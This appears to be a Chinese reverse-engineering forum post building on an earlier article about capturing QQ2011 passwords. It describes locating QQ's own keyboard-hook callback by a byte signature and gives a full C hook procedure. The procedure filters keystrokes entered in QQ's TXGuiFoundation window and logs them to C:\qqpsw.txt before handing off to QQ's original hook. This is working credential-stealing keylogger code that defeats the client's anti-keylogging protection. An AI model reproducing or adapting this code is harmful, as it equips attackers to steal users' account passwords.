首先感谢hackerlzc给我们带来了这么好的一篇文章:
【原创】QQ2011低级键盘钩子分析----ring3截获QQ密码
http://bbs.pediy.com/showthread.php?t=133943
=====================================================
此文需要干掉QQ的WH_DEBUG的钩子,并且自己安装一个WH_KEYBOARD_LL钩子。
其中提到了,QQ为了保护代码不被修改,会有一个备份代码,进行不停的恢复。
于是我们能不能换一个办法,既然WH_DEBUG有备份,那么QQ的键盘钩子回调函数很可能也是这样进行保护的。
于是搜索特征码:
代码:
003CF513 B9 07000000 MOV ECX,7 003CF518 33C0 XOR EAX,EAX 003CF51A FC CLD
诶,这样就成了
附上我的回调函数内部处理代码:
代码:
FILE *fp; LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam; if( p->flags != 0x10 && p->flags != 0x90 ) { /* if (wParam == WM_KEYDOWN) { DWORD dwMsg = 1; dwMsg += p->scanCode << 16; dwMsg += p->flags << 24; wchar_t KeyText[20] = {0}; GetKeyNameText(p->scanCode<<16, KeyText, 20); DbgPrint(L"%s %d",KeyText,p->time); } if((p->flags & LLKHF_UP) == 0 ) { WORD ch; BYTE keystate[ 256 ] = {0}; GetKeyboardState( keystate ); ToAscii( p->vkCode,p->scanCode,keystate,&ch,0 ); DbgPrint(L"%c\n",ch); } */ HWND hwnd = GetForegroundWindow(); TCHAR buff[256]; GetClassName(hwnd, buff, 255); DWORD ProcId; GetWindowThreadProcessId(hwnd, &ProcId) ; if (wcscmp(buff, L"TXGuiFoundation") == 0 && GetCurrentProcessId() == ProcId && wParam == WM_KEYDOWN) { BYTE KeyboardState[256]; ZeroMemory(KeyboardState, sizeof(KeyboardState)); GetKeyboardState(KeyboardState); KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)); KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL); WORD wChar = 0; ToAscii(p->vkCode, p->scanCode, KeyboardState, &wChar, 0); fp = _wfopen(L"C:\\qqpsw.txt",L"a+"); if ( iswprint(wChar)) { //DbgPrint(L"%c :",wChar); fwprintf(fp, L"%c",wChar ); } else { wchar_t KeyText[20] = {0}; ZeroMemory(KeyText, sizeof(KeyText)); LONG Flags = 0; Flags = p->scanCode << 16; Flags |= p->flags << 24; if (GetKeyNameText(Flags, KeyText, 20) > 0) { //DbgPrint(L":%s",KeyText); fwprintf(fp, L"\n%s\t",KeyText ); } } fclose(fp); } } return qqhook(nCode, wParam, lParam ); }